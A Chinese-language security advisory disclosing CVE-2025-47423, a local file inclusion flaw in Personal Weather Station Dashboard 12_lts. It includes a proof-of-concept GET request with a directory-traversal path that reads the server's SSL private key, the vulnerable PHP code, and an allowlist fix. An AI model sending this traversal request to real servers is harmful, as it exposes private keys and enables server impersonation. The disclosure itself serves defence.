CVE-2025-47423 – Personal Weather Station Dashboard（12_lts）中的本地文件包含

发现者： Matthew Eagle
状态： 公开披露
报告日期： 2025-05-05
CVE ID： CVE-2025-47423

🧩 摘要

Personal Weather Station Dashboard 版本 12_lts 中存在一个本地文件包含（LFI）漏洞，允许未经身份验证的远程攻击者读取服务器上的任意文件。利用此漏洞可访问包括私有 SSL 密钥在内的敏感文件，从而可能危及 HTTPS 连接的机密性和完整性。

🛠 受影响组件

• 文件：/others/_test.php
• 易受攻击的参数：test（通过 GET）

📈 影响

此漏洞允许远程攻击者：

• 读取文件系统上的任意文件
• 泄露私有 SSL 密钥（例如 server.key）
• 执行中间人（MITM）攻击
• 冒充 HTTPS 服务器

CVSS：5.8 中危

💥 概念验证（PoC）

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

响应：

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

🧪 漏洞代码（简化版）

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

str_replace 不足以阻止目录遍历。

🔐 安全修复

• 对包含目标使用严格的允许列表
• 使用 basename() 清理输入，并对照允许的文件进行校验
• 避免基于用户输入进行动态包含

$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

📅 时间线

🧠 缓解措施

如果您正在运行 Personal Weather Station Dashboard 12_lts，您应该：

• 立即删除或更新 _test.php
• 部署带有文件白名单的修复脚本
• 轮换并重新签发任何已泄露的 TLS 证书

🧾 参考

• CVE-2025-47423 在 MITRE 上的条目（待定）
• GitHub 上发布的公告

🙏 致谢

该漏洞由 Matthew Eagle 发现并负责任地披露
联系方式：[email protected]

本次披露遵循负责任披露准则进行协调。本文档仅供教育和防御目的发布。